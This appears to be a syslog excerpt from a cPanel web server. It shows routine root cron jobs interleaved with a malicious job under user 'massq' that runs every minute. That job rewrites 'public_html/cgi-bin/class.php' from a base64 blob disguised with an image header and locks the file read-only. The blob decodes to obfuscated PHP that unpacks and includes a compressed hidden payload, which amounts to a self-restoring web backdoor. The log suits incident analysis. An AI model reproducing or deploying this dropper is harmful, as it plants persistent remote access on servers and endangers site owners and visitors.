Sep 12 03:42:01 server CROND[8751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:43:01 server CROND[9209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:43:01 server CROND[9208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:43:01 server CROND[9210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:44:01 server CROND[9579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:44:01 server CROND[9580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:44:01 server CROND[9581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:45:01 server CROND[9947]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 03:45:01 server CROND[9952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:45:01 server CROND[9955]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:45:01 server CROND[9971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:45:01 server CROND[9967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:45:01 server CROND[9974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:45:01 server CROND[9970]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 03:46:01 server CROND[10804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:46:01 server CROND[10805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:46:01 server CROND[10806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:47:01 server CROND[11174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:47:01 server CROND[11175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:47:01 server CROND[11176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:48:01 server CROND[11551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:48:01 server CROND[11552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:48:01 server CROND[11553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:48:01 server anacron[20736]: Job `cron.daily' started
Sep 12 03:48:01 server run-parts(/etc/cron.daily)[11569]: starting imunify-antivirus.cron
Sep 12 03:49:01 server CROND[12030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:49:01 server CROND[12031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:49:01 server CROND[12032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:50:01 server CROND[12436]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 03:50:01 server CROND[12438]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:50:01 server CROND[12452]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 03:50:01 server CROND[12459]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 03:50:01 server CROND[12458]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 03:50:01 server CROND[12464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:50:01 server CROND[12461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:50:01 server CROND[12462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:50:01 server CROND[12460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:51:01 server CROND[13297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:51:01 server CROND[13299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:51:01 server CROND[13300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:52:01 server CROND[13667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:52:01 server CROND[13668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:52:01 server CROND[13669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:53:01 server CROND[14063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:53:01 server CROND[14064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:53:01 server CROND[14065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:54:01 server CROND[14435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:54:01 server CROND[14436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:54:01 server CROND[14437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:55:01 server CROND[14806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:55:01 server CROND[14808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 03:55:01 server CROND[14816]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
